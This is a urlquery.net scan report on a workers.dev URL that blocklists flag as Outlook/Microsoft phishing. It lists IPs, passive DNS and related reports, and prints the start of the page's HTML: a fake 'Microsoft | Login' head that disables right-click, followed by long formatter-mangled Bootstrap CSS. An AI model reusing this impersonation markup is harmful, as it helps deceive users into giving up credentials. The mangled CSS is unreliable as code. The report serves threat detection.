Overview

URL office2ba26c936161df9a60ce20211f793266211c4e3be87fdae87bf4d3c4b.softmail3.workers.dev/
IP172.67.173.78
ASNCLOUDFLARENET
Location United States
Report completed2022-09-29 21:55:39 UTC
StatusLoading report..
urlquery Alerts No alerts detected


Settings

UserAgentMozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Referer


Intrusion Detection Systems

Suricata /w Emerging Threats Pro  No alerts detected


Blocklists

OpenPhish
Scan Date Severity Indicator Comment
2022-09-29 2 office2ba26c936161df9a60ce20211f793266211c4e3be87fdae87bf4d3c4b.softmail3.w (...) Outlook
PhishTank  No alerts detected
Fortinet's Web Filter
Scan Date Severity Indicator Comment
2022-09-29 2 office2ba26c936161df9a60ce20211f793266211c4e3be87fdae87bf4d3c4b.softmail3.w (...) Phishing
mnemonic secure dns  No alerts detected
Quad9 DNS  No alerts detected


Files

No files detected



Passive DNS (17)

Passive DNS Source Fully Qualifying Domain Name Rank First Seen Last Seen IP Comment
mnemonic passive DNS ocsp.digicert.com (3) 86 2012-05-21 07:02:23 UTC 2022-09-29 15:12:13 UTC 93.184.220.29
mnemonic passive DNS aadcdn.msauth.net (2) 1421 2018-11-19 10:50:03 UTC 2022-09-29 17:42:40 UTC 13.107.246.53
mnemonic passive DNS cdnjs.cloudflare.com (1) 235 2020-10-20 10:17:36 UTC 2022-09-29 06:07:22 UTC 104.17.24.14
mnemonic passive DNS fonts.googleapis.com (1) 8877 2013-06-10 20:14:26 UTC 2022-09-29 19:01:11 UTC 142.250.74.10
mnemonic passive DNS i.gyazo.com (1) 72426 2014-03-14 09:33:51 UTC 2022-09-29 12:24:17 UTC 172.64.151.252
mnemonic passive DNS img-getpocket.cdn.mozilla.net (6) 1631 2017-09-01 03:40:57 UTC 2022-09-29 14:36:13 UTC 34.120.237.76
mnemonic passive DNS firefox.settings.services.mozilla.com (2) 867 2020-05-27 20:08:30 UTC 2022-09-29 16:06:01 UTC 143.204.55.35
mnemonic passive DNS ajax.googleapis.com (1) 12905 2013-08-16 09:51:31 UTC 2022-09-29 16:33:48 UTC 216.58.207.234
mnemonic passive DNS office2ba26c936161df9a60ce20211f793266211c4e3be87fdae87bf4d3c4b.softmail3.workers.dev (1) 0 2022-08-17 14:54:24 UTC 2022-09-29 04:18:08 UTC 104.21.88.58 Unknown ranking
mnemonic passive DNS r3.o.lencr.org (5) 344 2020-12-02 08:52:13 UTC 2022-09-29 04:57:37 UTC 23.36.76.226
mnemonic passive DNS content-signature-2.cdn.mozilla.net (1) 1152 2020-11-03 12:26:46 UTC 2022-09-29 05:03:41 UTC 143.204.55.49
mnemonic passive DNS code.jquery.com (4) 634 2012-05-21 17:28:02 UTC 2022-09-29 04:59:15 UTC 69.16.175.42
mnemonic passive DNS ocsp.pki.goog (3) 175 2017-06-14 07:23:31 UTC 2022-09-29 04:56:10 UTC 142.250.74.3
mnemonic passive DNS use.fontawesome.com (2) 942 2017-01-30 04:43:25 UTC 2022-09-29 04:57:31 UTC 172.64.132.15
mnemonic passive DNS maxcdn.bootstrapcdn.com (1) 724 2014-06-18 00:37:31 UTC 2022-09-29 14:03:22 UTC 104.18.10.207
mnemonic passive DNS contile.services.mozilla.com (1) 1114 2021-05-27 18:32:35 UTC 2022-09-29 04:56:09 UTC 34.117.237.239
mnemonic passive DNS push.services.mozilla.com (1) 2140 2015-09-03 10:29:36 UTC 2022-09-29 05:06:32 UTC 52.39.57.61


Recent reports on same IP/ASN/Domain/Screenshot

Last 3 reports on IP: 172.67.173.78

Date UQ / IDS / BL URL IP
2022-09-29 21:55:39 +0000
0 - 0 - 2 office2ba26c936161df9a60ce20211f793266211c4e3 (...) 172.67.173.78
2022-09-26 13:44:06 +0000
0 - 0 - 3 currader.xyz/geo/es/usd/galaxys21/4 172.67.173.78
2022-09-01 23:23:47 +0000
0 - 0 - 2 office2ba26c936161df9a60ce20211f793266211c4e3 (...) 172.67.173.78

Last 5 reports on ASN: CLOUDFLARENET

Date UQ / IDS / BL URL IP
2022-11-30 15:16:59 +0000
0 - 0 - 1 sognisogni.net/nowyou5c1x0677/ 188.114.96.1
2022-11-30 15:10:56 +0000
5 - 0 - 2 rewebso.com/4d066bbb0e40abe54f3000755a45aa6e/ (...) 172.67.168.122
2022-11-30 15:08:23 +0000
0 - 0 - 1 femalefrag.com/emma-stone-andrew-garfield-reu (...) 104.21.82.69
2022-11-30 15:02:01 +0000
0 - 0 - 2 newsworld.cloud/cardioxil-chistka-sosudov-v3-cz/ 172.67.148.132
2022-11-30 14:59:34 +0000
0 - 0 - 0 www.mediafire.com/ 104.16.53.48

Last 4 reports on domain: softmail3.workers.dev

Date UQ / IDS / BL URL IP
2022-09-29 21:55:39 +0000
0 - 0 - 2 office2ba26c936161df9a60ce20211f793266211c4e3 (...) 172.67.173.78
2022-09-15 21:43:18 +0000
0 - 0 - 2 office2ba26c936161df9a60ce20211f793266211c4e3 (...) 104.21.88.58
2022-09-01 23:23:47 +0000
0 - 0 - 2 office2ba26c936161df9a60ce20211f793266211c4e3 (...) 172.67.173.78
2022-08-29 14:00:14 +0000
0 - 0 - 1 office2ba26c936161df9a60ce20211f793266211c4e3 (...) 104.21.88.58

Last 5 reports with similar screenshot

Date UQ / IDS / BL URL IP
2022-11-28 07:12:27 +0000
0 - 0 - 2 officesc739fc24499a54ef81e2243e9d60c97fc739fc (...) 172.67.189.147
2022-11-04 00:25:42 +0000
0 - 0 - 1 officec3a969746798b93e2eaa69ec365ddea3c3a9697 (...) 104.21.79.35
2022-11-03 15:34:40 +0000
0 - 0 - 1 officec3a969746798b93e2eaa69ec365ddea3c3a9697 (...) 104.21.79.35
2022-10-10 10:34:18 +0000
0 - 0 - 2 office949abb2585772ab51a8ad332f13989dcd5d5bb2 (...) 172.67.140.169
2022-10-06 02:59:12 +0000
0 - 0 - 3 office949abb2585772ab51a8ad332f13989dcd5d5bb2 (...) 104.21.65.50


JavaScript

Executed Scripts (10)


Executed Evals (0)


Executed Writes (1)

#1 JavaScript::Write (size: 233604, repeated: 1) - SHA256: dcb879cfddef1e4cddae54b5e71323a8441c3b3dc4a38181bde0eb5d4ae51006

                                        < !doctype html >
    < html oncontextmenu = "return false"
onselectstart = "return false"
ondragstart = "return false" >
    < html lang = "en" >
    < html lang = "en" >

    < head >
    < script type = "text/javascript"
src = "https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js" > < /script> < script type = "text/javascript"
src = "https://code.jquery.com/jquery-3.1.1.min.js" > < /script> < script type = "text/javascript"
src = "https://code.jquery.com/jquery-3.3.1.js"
integrity = "sha256-2Kok7MbOyxpgUVvAk/HJ2jigOSYS2auK4Pfzbm7uH60="
crossorigin = "anonymous" > < /script>
    <!-- Required meta tags -->
    < meta charset = "utf-8" >
    < meta name = "viewport"
content = "width=device-width, initial-scale=1, shrink-to-fit=no" >
    < link rel = "icon"
type = "image/png"
sizes = "192x192"
href = "https://aadcdn.msauth.net/ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico?v=BUILD_HASH" >
    <!-- Bootstrap CSS -->
    < link href = "https://fonts.googleapis.com/css?family=Archivo+Narrow&display=swap"
rel = "stylesheet" >
    < link rel = "stylesheet"
href = "https://use.fontawesome.com/releases/v5.7.0/css/all.css"
integrity = "sha384-lZN37f5QGtY3VHgisS14W3ExzMWZxybE1SJSEsQp9S+oqd12jhcu+A56Ebc1zFSJ"
crossorigin = "anonymous" >
    < title > Microsoft | Login < /title> < style type = "text/css" >
    /*!
     * Bootstrap v4.0.0 (https://getbootstrap.com)
     * Copyright 2011-2018 The Bootstrap Authors
     * Copyright 2011-2018 Twitter, Inc.
     * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
     */
    : root {
        --blue: #007bff;
      --indigo: # 6610 f2;
        --purple: #6f42c1;
      --pink: # e83e8c;
        --red: # dc3545;
        --orange: # fd7e14;
        --yellow: # ffc107;
        --green: #28a745;
      --teal: # 20 c997;
        --cyan: #17a2b8;
      --white: # fff;
        --gray: #6c757d;
      --gray-dark: # 343 a40;
        --primary: #007bff;
      --secondary: # 6 c757d;
        --success: #28a745;
      --info: # 17 a2b8;
        --warning: # ffc107;
        --danger: # dc3545;
        --light: # f8f9fa;
        --dark: #343a40;
      --breakpoint-xs: 0;
      --breakpoint-sm: 576px;
      --breakpoint-md: 768px;
      --breakpoint-lg: 992px;
      --breakpoint-xl: 1200px;
      --font-family-sans-serif: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";
      --font-family-monospace: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace
    }

    *,
    ::after,
    ::before {
      box-sizing: border-box
    }

    html {
      font-family: sans-serif;
      line-height: 1.15;
      -webkit-text-size-adjust: 100%;
      -ms-text-size-adjust: 100%;
      -ms-overflow-style: scrollbar;
      -webkit-tap-highlight-color: transparent
    }

    @-ms-viewport {
      width: device-width
    }

    article,
    aside,
    dialog,
    figcaption,
    figure,
    footer,
    header,
    hgroup,
    main,
    nav,
    section {
      display: block
    }

    body {
      margin: 0;
      font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";
      font-size: 1rem;
      font-weight: 400;
      line-height: 1.5;
      color: # 212529;
        text - align: left;
        background - color: # fff
    }

[tabindex = "-1"]: focus {
    outline: 0!important
}

hr {
    box - sizing: content - box;
    height: 0;
    overflow: visible
}

h1,
h2,
h3,
h4,
h5,
h6 {
    margin - top: 0;
    margin - bottom: .5 rem
}

p {
    margin - top: 0;
    margin - bottom: 1 rem
}

abbr[data - original - title],
    abbr[title] {
        text - decoration: underline; - webkit - text - decoration: underline dotted;
        text - decoration: underline dotted;
        cursor: help;
        border - bottom: 0
    }

address {
    margin - bottom: 1 rem;
    font - style: normal;
    line - height: inherit
}

dl,
ol,
ul {
    margin - top: 0;
    margin - bottom: 1 rem
}

ol ol,
ol ul,
ul ol,
ul ul {
    margin - bottom: 0
}

dt {
    font - weight: 700
}

dd {
    margin - bottom: .5 rem;
    margin - left: 0
}

blockquote {
    margin: 0 0 1 rem
}

dfn {
    font - style: italic
}

b,
strong {
    font - weight: bolder
}

small {
    font - size: 80 %
}

sub,
sup {
    position: relative;
    font - size: 75 % ;
    line - height: 0;
    vertical - align: baseline
}

sub {
    bottom: -.25e m
}

sup {
    top: -.5e m
}

a {
    color: #007bff;
      text-decoration: none;
      background-color: transparent;
      -webkit-text-decoration-skip: objects
    }

    a:hover {
      color: # 0056 b3;
    text - decoration: underline
}

a: not([href]): not([tabindex]) {
    color: inherit;
    text - decoration: none
}

a: not([href]): not([tabindex]): focus,
    a: not([href]): not([tabindex]): hover {
        color: inherit;
        text - decoration: none
    }

a: not([href]): not([tabindex]): focus {
    outline: 0
}

code,
kbd,
pre,
samp {
    font - family: monospace, monospace;
    font - size: 1e m
}

pre {
    margin - top: 0;
    margin - bottom: 1 rem;
    overflow: auto; - ms - overflow - style: scrollbar
}

figure {
    margin: 0 0 1 rem
}

img {
    vertical - align: middle;
    border - style: none
}

svg: not(: root) {
    overflow: hidden
}

table {
    border - collapse: collapse
}

caption {
    padding - top: .75 rem;
    padding - bottom: .75 rem;
    color: #6c757d;
      text-align: left;
      caption-side: bottom
    }

    th {
      text-align: inherit
    }

    label {
      display: inline-block;
      margin-bottom: .5rem
    }

    button {
      border-radius: 0
    }

    button:focus {
      outline: 1px dotted;
      outline: 5px auto -webkit-focus-ring-color
    }

    button,
    input,
    optgroup,
    select,
    textarea {
      margin: 0;
      font-family: inherit;
      font-size: inherit;
      line-height: inherit
    }

    button,
    input {
      overflow: visible
    }

    button,
    select {
      text-transform: none
    }

    [type= reset], [type = submit],
button,
html[type = button] {
    -webkit - appearance: button
}

[type = button]::-moz - focus - inner, [type = reset]::-moz - focus - inner, [type = submit]::-moz - focus - inner,
    button::-moz - focus - inner {
        padding: 0;
        border - style: none
    }

input[type = checkbox],
    input[type = radio] {
        box - sizing: border - box;
        padding: 0
    }

input[type = date],
    input[type = datetime - local],
    input[type = month],
    input[type = time] {
        -webkit - appearance: listbox
    }

textarea {
    overflow: auto;
    resize: vertical
}

fieldset {
    min - width: 0;
    padding: 0;
    margin: 0;
    border: 0
}

legend {
    display: block;
    width: 100 % ;
    max - width: 100 % ;
    padding: 0;
    margin - bottom: .5 rem;
    font - size: 1.5 rem;
    line - height: inherit;
    color: inherit;
    white - space: normal
}

progress {
    vertical - align: baseline
}

[type = number]::-webkit - inner - spin - button, [type = number]::-webkit - outer - spin - button {
    height: auto
}

[type = search] {
    outline - offset: -2 px; - webkit - appearance: none
}

[type = search]::-webkit - search - cancel - button, [type = search]::-webkit - search - decoration {
    -webkit - appearance: none
}

::-webkit - file - upload - button {
    font: inherit; - webkit - appearance: button
}

output {
    display: inline - block
}

summary {
    display: list - item;
    cursor: pointer
}

template {
    display: none
}

[hidden] {
    display: none!important
}

.h1,
.h2,
.h3,
.h4,
.h5,
.h6,
h1,
h2,
h3,
h4,
h5,
h6 {
    margin - bottom: .5 rem;
    font - family: inherit;
    font - weight: 500;
    line - height: 1.2;
    color: inherit
}

.h1,
h1 {
    font - size: 2.5 rem
}

.h2,
h2 {
    font - size: 2 rem
}

.h3,
h3 {
    font - size: 1.75 rem
}

.h4,
h4 {
    font - size: 1.5 rem
}

.h5,
h5 {
    font - size: 1.25 rem
}

.h6,
h6 {
    font - size: 1 rem
}

.lead {
    font - size: 1.25 rem;
    font - weight: 300
}

.display - 1 {
    font - size: 6 rem;
    font - weight: 300;
    line - height: 1.2
}

.display - 2 {
    font - size: 5.5 rem;
    font - weight: 300;
    line - height: 1.2
}

.display - 3 {
    font - size: 4.5 rem;
    font - weight: 300;
    line - height: 1.2
}

.display - 4 {
    font - size: 3.5 rem;
    font - weight: 300;
    line - height: 1.2
}

hr {
    margin - top: 1 rem;
    margin - bottom: 1 rem;
    border: 0;
    border - top: 1 px solid rgba(0, 0, 0, .1)
}

.small,
small {
    font - size: 80 % ;
    font - weight: 400
}

.mark,
mark {
    padding: .2e m;
    background - color: # fcf8e3
}

.list - unstyled {
    padding - left: 0;
    list - style: none
}

.list - inline {
    padding - left: 0;
    list - style: none
}

.list - inline - item {
    display: inline - block
}

.list - inline - item: not(: last - child) {
    margin - right: .5 rem
}

.initialism {
    font - size: 90 % ;
    text - transform: uppercase
}

.blockquote {
    margin - bottom: 1 rem;
    font - size: 1.25 rem
}

.blockquote - footer {
    display: block;
    font - size: 80 % ;
    color: #6c757d
    }

    .blockquote-footer::before {
      content: "\2014 \00A0"
    }

    .img-fluid {
      max-width: 40%;
      height: auto
    }

    .img-thumbnail {
      padding: .25rem;
      background-color: # fff;
    border: 1 px solid # dee2e6;
    border - radius: .25 rem;
    max - width: 100 % ;
    height: auto
}

.figure {
    display: inline - block
}

.figure - img {
    margin - bottom: .5 rem;
    line - height: 1
}

.figure - caption {
    font - size: 90 % ;
    color: #6c757d
    }

    code,
    kbd,
    pre,
    samp {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace
    }

    code {
      font-size: 87.5%;
      color: # e83e8c;
    word -
        break: break -word
}

a > code {
    color: inherit
}

kbd {
    padding: .2 rem.4 rem;
    font - size: 87.5 % ;
    color: # fff;
    background - color: #212529;
      border-radius: .2rem
    }

    kbd kbd {
      padding: 0;
      font-size: 100%;
      font-weight: 700
    }

    pre {
      display: block;
      font-size: 87.5%;
      color: # 212529
}

pre code {
    font - size: inherit;
    color: inherit;
    word -
        break: normal
}

.pre - scrollable {
    max - height: 340 px;
    overflow - y: scroll
}

.container {
    width: 100 % ;
    padding - right: 15 px;
    padding - left: 15 px;
    margin - right: auto;
    margin - left: auto
}

@
media(min - width: 576 px) {
    .container {
        max - width: 540 px
    }
}

@
media(min - width: 768 px) {
    .container {
        max - width: 720 px
    }
}

@
media(min - width: 992 px) {
    .container {
        max - width: 960 px
    }
}

@
media(min - width: 1200 px) {
    .container {
        max - width: 1140 px
    }
}

.container - fluid {
    width: 100 % ;
    padding - right: 15 px;
    padding - left: 15 px;
    margin - right: auto;
    margin - left: auto
}

.row {
    display: -webkit - box;
    display: -ms - flexbox;
    display: flex; - ms - flex - wrap: wrap;
    flex - wrap: wrap;
    margin - right: -15 px;
    margin - left: -15 px
}

.no - gutters {
    margin - right: 0;
    margin - left: 0
}

.no - gutters > .col,
    .no - gutters > [class *= col - ] {
        padding - right: 0;
        padding - left: 0
    }

.col,
.col - 1,
    .col - 10,
    .col - 11,
    .col - 12,
    .col - 2,
    .col - 3,
    .col - 4,
    .col - 5,
    .col - 6,
    .col - 7,
    .col - 8,
    .col - 9,
    .col - auto,
    .col - lg,
    .col - lg - 1,
    .col - lg - 10,
    .col - lg - 11,
    .col - lg - 12,
    .col - lg - 2,
    .col - lg - 3,
    .col - lg - 4,
    .col - lg - 5,
    .col - lg - 6,
    .col - lg - 7,
    .col - lg - 8,
    .col - lg - 9,
    .col - lg - auto,
    .col - md,
    .col - md - 1,
    .col - md - 10,
    .col - md - 11,
    .col - md - 12,
    .col - md - 2,
    .col - md - 3,
    .col - md - 4,
    .col - md - 5,
    .col - md - 6,
    .col - md - 7,
    .col - md - 8,
    .col - md - 9,
    .col - md - auto,
    .col - sm,
    .col - sm - 1,
    .col - sm - 10,
    .col - sm - 11,
    .col - sm - 12,
    .col - sm - 2,
    .col - sm - 3,
    .col - sm - 4,
    .col - sm - 5,
    .col - sm - 6,
    .col - sm - 7,
    .col - sm - 8,
    .col - sm - 9,
    .col - sm - auto,
    .col - xl,
    .col - xl - 1,
    .col - xl - 10,
    .col - xl - 11,
    .col - xl - 12,
    .col - xl - 2,
    .col - xl - 3,
    .col - xl - 4,
    .col - xl - 5,
    .col - xl - 6,
    .col - xl - 7,
    .col - xl - 8,
    .col - xl - 9,
    .col - xl - auto {
        position: relative;
        width: 100 % ;
        min - height: 1 px;
        padding - right: 15 px;
        padding - left: 15 px
    }

.col {
    -ms - flex - preferred - size: 0;
    flex - basis: 0; - webkit - box - flex: 1; - ms - flex - positive: 1;
    flex - grow: 1;
    max - width: 100 %
}

.col - auto {
    -webkit - box - flex: 0; - ms - flex: 0 0 auto;
    flex: 0 0 auto;
    width: auto;
    max - width: none
}

.col - 1 {
    -webkit - box - flex: 0; - ms - flex: 0 0 8.333333 % ;
    flex: 0 0 8.333333 % ;
    max - width: 8.333333 %
}

.col - 2 {
    -webkit - box - flex: 0; - ms - flex: 0 0 16.666667 % ;
    flex: 0 0 16.666667 % ;
    max - width: 16.666667 %
}

.col - 3 {
    -webkit - box - flex: 0; - ms - flex: 0 0 25 % ;
    flex: 0 0 25 % ;
    max - width: 25 %
}

.col - 4 {
    -webkit - box - flex: 0; - ms - flex: 0 0 33.333333 % ;
    flex: 0 0 33.333333 % ;
    max - width: 33.333333 %
}

.col - 5 {
    -webkit - box - flex: 0; - ms - flex: 0 0 41.666667 % ;
    flex: 0 0 41.666667 % ;
    max - width: 41.666667 %
}

.col - 6 {
    -webkit - box - flex: 0; - ms - flex: 0 0 50 % ;
    flex: 0 0 50 % ;
    max - width: 50 %
}

.col - 7 {
    -webkit - box - flex: 0; - ms - flex: 0 0 58.333333 % ;
    flex: 0 0 58.333333 % ;
    max - width: 58.333333 %
}

.col - 8 {
    -webkit - box - flex: 0; - ms - flex: 0 0 66.666667 % ;
    flex: 0 0 66.666667 % ;
    max - width: 66.666667 %
}

.col - 9 {
    -webkit - box - flex: 0; - ms - flex: 0 0 75 % ;
    flex: 0 0 75 % ;
    max - width: 75 %
}

.col - 10 {
    -webkit - box - flex: 0; - ms - flex: 0 0 83.333333 % ;
    flex: 0 0 83.333333 % ;
    max - width: 83.333333 %
}

.col - 11 {
    -webkit - box - flex: 0; - ms - flex: 0 0 91.666667 % ;
    flex: 0 0 91.666667 % ;
    max - width: 91.666667 %
}

.col - 12 {
    -webkit - box - flex: 0; - ms - flex: 0 0 100 % ;
    flex: 0 0 100 % ;
    max - width: 100 %
}

.order - first {
    -webkit - box - ordinal - group: 0; - ms - flex - order: -1;
    order: -1
}

.order - last {
    -webkit - box - ordinal - group: 14; - ms - flex - order: 13;
    order: 13
}

.order - 0 {
    -webkit - box - ordinal - group: 1; - ms - flex - order: 0;
    order: 0
}

.order - 1 {
    -webkit - box - ordinal - group: 2; - ms - flex - order: 1;
    order: 1
}

.order - 2 {
    -webkit - box - ordinal - group: 3; - ms - flex - order: 2;
    order: 2
}

.order - 3 {
    -webkit - box - ordinal - group: 4; - ms - flex - order: 3;
    order: 3
}

.order - 4 {
    -webkit - box - ordinal - group: 5; - ms - flex - order: 4;
    order: 4
}

.order - 5 {
    -webkit - box - ordinal - group: 6; - ms - flex - order: 5;
    order: 5
}

.order - 6 {
    -webkit - box - ordinal - group: 7; - ms - flex - order: 6;
    order: 6
}

.order - 7 {
    -webkit - box - ordinal - group: 8; - ms - flex - order: 7;
    order: 7
}

.order - 8 {
    -webkit - box - ordinal - group: 9; - ms - flex - order: 8;
    order: 8
}

.order - 9 {
    -webkit - box - ordinal - group: 10; - ms - flex - order: 9;
    order: 9
}

.order - 10 {
    -webkit - box - ordinal - group: 11; - ms - flex - order: 10;
    order: 10
}

.order - 11 {
    -webkit - box - ordinal - group: 12; - ms - flex - order: 11;
    order: 11
}

.order - 12 {
    -webkit - box - ordinal - group: 13; - ms - flex - order: 12;
    order: 12
}

.offset - 1 {
    margin - left: 8.333333 %
}

.offset - 2 {
    margin - left: 16.666667 %
}

.offset - 3 {
    margin - left: 25 %
}

.offset - 4 {
    margin - left: 33.333333 %
}

.offset - 5 {
    margin - left: 41.666667 %
}

.offset - 6 {
    margin - left: 50 %
}

.offset - 7 {
    margin - left: 58.333333 %
}

.offset - 8 {
    margin - left: 66.666667 %
}

.offset - 9 {
    margin - left: 75 %
}

.offset - 10 {
    margin - left: 83.333333 %
}

.offset - 11 {
    margin - left: 91.666667 %
}

@
media(min - width: 576 px) {
    .col - sm {
        -ms - flex - preferred - size: 0;
        flex - basis: 0; - webkit - box - flex: 1; - ms - flex - positive: 1;
        flex - grow: 1;
        max - width: 100 %
    }

    .col - sm - auto {
        -webkit - box - flex: 0; - ms - flex: 0 0 auto;
        flex: 0 0 auto;
        width: auto;
        max - width: none
    }

    .col - sm - 1 {
        -webkit - box - flex: 0; - ms - flex: 0 0 8.333333 % ;
        flex: 0 0 8.333333 % ;
        max - width: 8.333333 %
    }

    .col - sm - 2 {
        -webkit - box - flex: 0; - ms - flex: 0 0 16.666667 % ;
        flex: 0 0 16.666667 % ;
        max - width: 16.666667 %
    }

    .col - sm - 3 {
        -webkit - box - flex: 0; - ms - flex: 0 0 25 % ;
        flex: 0 0 25 % ;
        max - width: 25 %
    }

    .col - sm - 4 {
        -webkit - box - flex: 0; - ms - flex: 0 0 33.333333 % ;
        flex: 0 0 33.333333 % ;
        max - width: 33.333333 %
    }

    .col - sm - 5 {
        -webkit - box - flex: 0; - ms - flex: 0 0 41.666667 % ;
        flex: 0 0 41.666667 % ;
        max - width: 41.666667 %
    }

    .col - sm - 6 {
        -webkit - box - flex: 0; - ms - flex: 0 0 50 % ;
        flex: 0 0 50 % ;
        max - width: 50 %
    }

    .col - sm - 7 {
        -webkit - box - flex: 0; - ms - flex: 0 0 58.333333 % ;
        flex: 0 0 58.333333 % ;
        max - width: 58.333333 %
    }

    .col - sm - 8 {
        -webkit - box - flex: 0; - ms - flex: 0 0 66.666667 % ;
        flex: 0 0 66.666667 % ;
        max - width: 66.666667 %
    }

    .col - sm - 9 {
        -webkit - box - flex: 0; - ms - flex: 0 0 75 % ;
        flex: 0 0 75 % ;
        max - width: 75 %
    }

    .col - sm - 10 {
        -webkit - box - flex: 0; - ms - flex: 0 0 83.333333 % ;
        flex: 0 0 83.333333 % ;
        max - width: 83.333333 %
    }

    .col - sm - 11 {
        -webkit - box - flex: 0; - ms - flex: 0 0 91.666667 % ;
        flex: 0 0 91.666667 % ;
        max - width: 91.666667 %
    }

    .col - sm - 12 {
        -webkit - box - flex: 0; - ms - flex: 0 0 100 % ;
        flex: 0 0 100 % ;
        max - width: 100 %
    }

    .order - sm - first {
        -webkit - box - ordinal - group: 0; - ms - flex - order: -1;
        order: -1
    }

    .order - sm - last {
        -webkit - box - ordinal - group: 14; - ms - flex - order: 13;
        order: 13
    }

    .order - sm - 0 {
        -webkit - box - ordinal - group: 1; - ms - flex - order: 0;
        order: 0
    }

    .order - sm - 1 {
        -webkit - box - ordinal - group: 2; - ms - flex - order: 1;
        order: 1
    }

    .order - sm - 2 {
        -webkit - box - ordinal - group: 3; - ms - flex - order: 2;
        order: 2
    }

    .order - sm - 3 {
        -webkit - box - ordinal - group: 4; - ms - flex - order: 3;
        order: 3
    }

    .order - sm - 4 {
        -webkit - box - ordinal - group: 5; - ms - flex - order: 4;
        order: 4
    }

    .order - sm - 5 {
        -webkit - box - ordinal - group: 6; - ms - flex - order: 5;
        order: 5
    }

    .order - sm - 6 {
        -webkit - box - ordinal - group: 7; - ms - flex - order: 6;
        order: 6
    }

    .order - sm - 7 {
        -webkit - box - ordinal - group: 8; - ms - flex - order: 7;
        order: 7
    }

    .order - sm - 8 {
        -webkit - box - ordinal - group: 9; - ms - flex - order: 8;
        order: 8
    }

    .order - sm - 9 {
        -webkit - box - ordinal - group: 10; - ms - flex - order: 9;
        order: 9
    }

    .order - sm - 10 {
        -webkit - box - ordinal - group: 11; - ms - flex - order: 10;
        order: 10
    }

    .order - sm - 11 {
        -webkit - box - ordinal - group: 12; - ms - flex - order: 11;
        order: 11
    }

    .order - sm - 12 {
        -webkit - box - ordinal - group: 13; - ms - flex - order: 12;
        order: 12
    }

    .offset - sm - 0 {
        margin - left: 0
    }

    .offset - sm - 1 {
        margin - left: 8.333333 %
    }

    .offset - sm - 2 {
        margin - left: 16.666667 %
    }

    .offset - sm - 3 {
        margin - left: 25 %
    }

    .offset - sm - 4 {
        margin - left: 33.333333 %
    }

    .offset - sm - 5 {
        margin - left: 41.666667 %
    }

    .offset - sm - 6 {
        margin - left: 50 %
    }

    .offset - sm - 7 {
        margin - left: 58.333333 %
    }

    .offset - sm - 8 {
        margin - left: 66.666667 %
    }

    .offset - sm - 9 {
        margin - left: 75 %
    }

    .offset - sm - 10 {
        margin - left: 83.333333 %
    }

    .offset - sm - 11 {
        margin - left: 91.666667 %
    }
}

@
media(min - width: 768 px) {
    .col - md {
        -ms - flex - preferred - size: 0;
        flex - basis: 0; - webkit - box - flex: 1; - ms - flex - positive: 1;
        flex - grow: 1;
        max - width: 100 %
    }

    .col - md - auto {
        -webkit - box - flex: 0; - ms - flex: 0 0 auto;
        flex: 0 0 auto;
        width: auto;
        max - width: none
    }

    .col - md - 1 {
        -webkit - box - flex: 0; - ms - flex: 0 0 8.333333 % ;
        flex: 0 0 8.333333 % ;
        max - width: 8.333333 %
    }

    .col - md - 2 {
        -webkit - box - flex: 0; - ms - flex: 0 0 16.666667 % ;
        flex: 0 0 16.666667 % ;
        max - width: 16.666667 %
    }

    .col - md - 3 {
        -webkit - box - flex: 0; - ms - flex: 0 0 25 % ;
        flex: 0 0 25 % ;
        max - width: 25 %
    }

    .col - md - 4 {
        -webkit - box - flex: 0; - ms - flex: 0 0 33.333333 % ;
        flex: 0 0 33.333333 % ;
        max - width: 33.333333 %
    }

    .col - md - 5 {
        -webkit - box - flex: 0; - ms - flex: 0 0 41.666667 % ;
        flex: 0 0 41.666667 % ;
        max - width: 41.666667 %
    }

    .col - md - 6 {
        -webkit - box - flex: 0; - ms - flex: 0 0 50 % ;
        flex: 0 0 50 % ;
        max - width: 50 %
    }

    .col - md - 7 {
        -webkit - box - flex: 0; - ms - flex: 0 0 58.333333 % ;
        flex: 0 0 58.333333 % ;
        max - width: 58.333333 %
    }

    .col - md - 8 {
        -webkit - box - flex: 0; - ms - flex: 0 0 66.666667 % ;
        flex: 0 0 66.666667 % ;
        max - width: 66.666667 %
    }

    .col - md - 9 {
        -webkit - box - flex: 0; - ms - flex: 0 0 75 % ;
        flex: 0 0 75 % ;
        max - width: 75 %
    }

    .col - md - 10 {
        -webkit - box - flex: 0; - ms - flex: 0 0 83.333333 % ;
        flex: 0 0 83.333333 % ;
        max - width: 83.333333 %
    }

    .col - md - 11 {
        -webkit - box - flex: 0; - ms - flex: 0 0 91.666667 % ;
        flex: 0 0 91.666667 % ;
        max - width: 91.666667 %
    }

    .col - md - 12 {
        -webkit - box - flex: 0; - ms - flex: 0 0 100 % ;
        flex: 0 0 100 % ;
        max - width: 100 %
    }

    .order - md - first {
        -webkit - box - ordinal - group: 0; - ms - flex - order: -1;
        order: -1
    }

    .order - md - last {
        -webkit - box - ordinal - group: 14; - ms - flex - order: 13;
        order: 13
    }

    .order - md - 0 {
        -webkit - box - ordinal - group: 1; - ms - flex - order: 0;
        order: 0
    }

    .order - md - 1 {
        -webkit - box - ordinal - group: 2; - ms - flex - order: 1;
        order: 1
    }

    .order - md - 2 {
        -webkit - box - ordinal - group: 3; - ms - flex - order: 2;
        order: 2
    }

    .order - md - 3 {
        -webkit - box - ordinal - group: 4; - ms - flex - order: 3;
        order: 3
    }

    .order - md - 4 {
        -webkit - box - ordinal - group: 5; - ms - flex - order: 4;
        order: 4
    }

    .order - md - 5 {
        -webkit - box - ordinal - group: 6; - ms - flex - order: 5;
        order: 5
    }

    .order - md - 6 {
        -webkit - box - ordinal - group: 7; - ms - flex - order: 6;
        order: 6
    }

    .order - md - 7 {
        -webkit - box - ordinal - group: 8; - ms - flex - order: 7;
        order: 7
    }

    .order - md - 8 {
